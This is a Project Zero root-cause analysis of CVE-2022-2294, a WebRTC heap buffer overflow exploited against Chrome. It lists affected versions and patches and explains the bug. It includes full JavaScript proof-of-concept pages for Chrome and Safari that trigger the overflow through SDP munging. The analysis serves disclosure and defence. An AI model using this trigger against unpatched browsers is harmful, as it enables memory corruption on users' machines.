CVE-2022-2294: Heap buffer overflow in WebRTC
Natalie Silvanovich, Project Zero
The Basics
Disclosure or Patch Date: July 4, 2022
Product: WebRTC (in-the-wild exploitation targeted Chrome)
Advisory:
- Chrome: https://chromereleases.googleblog.com/2022/07/stable-channel-update-for-desktop.html
- Safari: https://support.apple.com/en-us/HT213341
Affected Versions:
- WebRTC July 1, 2022 or earlier (WebRTC does not have formal versioning)
- Chrome pre-103.0.5060.114 and earlier
- Safari 15.5 and earlier
- This issue does not affect Firefox
The vulnerable library is also used by many mobile applications, but it is unclear whether the issue is exploitable. The bug is also only reachable in applications that use SDP munging or allow users to manipulate the SDP API. However, since SDP munging is fairly common, and use of the feature is typically not considered a security boundary by applications, we strongly recommend that all WebRTC users update their library to the most recent version.
First Patched Version:
- Chrome: 103.0.5060.114
- Safari: 15.6
Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1341043
Patch CL:
Both patches must be applied to fully remediate this issue:
- https://webrtc-review.googlesource.com/c/src/+/267281
- https://webrtc-review.googlesource.com/c/src/+/267628
Bug-Introducing CL: https://webrtc-review.googlesource.com/c/src/+/95488/
Reporter(s): Jan Vojtesek from the Avast Threat Intelligence
The Code
Proof-of-concept:
Chrome:
<html>
<head>
<script>
var canvas = document.createElement('canvas');
function createConnection() {
var pc = new RTCPeerConnection({
iceServers: [],
iceTransportPolicy: 'relay'
});
var encodings = [];
for (var i = 0; i < 2; i++) {
encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
}
pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
return pc;
}
function sdp_munge(offer) {
let sdp = offer.sdp;
sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
offer.sdp = sdp;
return offer;
}
async function trigger(pc) {
var pc = createConnection(); // create an WebRTC connection with
var offer = await pc.createOffer(); // create an offer
var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}
trigger();
</script>
</head>
</html>
Safari:
Note that creating canvases for WebRTC with document.createElement
is not supported in Safari. The PoC is otherwise the same.
<html>
<body><canvas id="myCanvas" width="200" height="100"></canvas>
<script>
var canvas = document.getElementById('myCanvas');
function createConnection() {
var pc = new RTCPeerConnection({
iceServers: [],
iceTransportPolicy: 'relay'
});
var encodings = [];
for (var i = 0; i < 2; i++) {
encodings.push({ rid: String.fromCharCode(97 + i) });
}
var c = canvas.getContext("bitmaprenderer");
console.log("test", canvas.captureStream());
pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
return pc;
}
function sdp_munge(offer) {
let sdp = offer.sdp;
sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
offer.sdp = sdp;
return offer;
}
async function trigger(pc) {
var pc = createConnection(); // create an WebRTC connection with
var offer = await pc.createOffer(); // create an offer
var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}
trigger();
</script>
</body>
</html>
Exploit sample: N/A
Access to the exploit sample? Yes
The Vulnerability
Bug class: Heap buffer overflow
Vulnerability details:
When a LocalConnection is created in WebRTC, it creates a vector that contains supported encodings. If the supported encodings are changed due to munging, a second vector is created with the current encodings. These vectors are then reconciled, which involves copying encoding properties between the vectors. If one is shorter than the other, due to the number of encodings supported being changed, a vector will be written out of bounds.
While removing an encoding was technically supported by the WebRTC API, it is uncommon for a real application to munge a local connection as opposed to the SDP sent to a remote one. The fix to this issue causes an error if an application attempts this.
Patch analysis:
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
Most likely code review, possibly involving analysis of past bugs, as CVE-2021-4079 is somewhat similar. It is unlikely that this bug was found in an automated fashion.
(Historical/present/future) context of bug:
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
Exploit flow:
Known cases of the same exploit flow:
Part of an exploit chain?
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why):
Found variants:
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
Ideas to mitigate the exploit flow:
Other potential improvements:
SDP munging in JavaScript is not supported by the WebRTC specification, so removing browser support is a possibility, though practically, it is widely used across the web.
0-day detection methods
What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?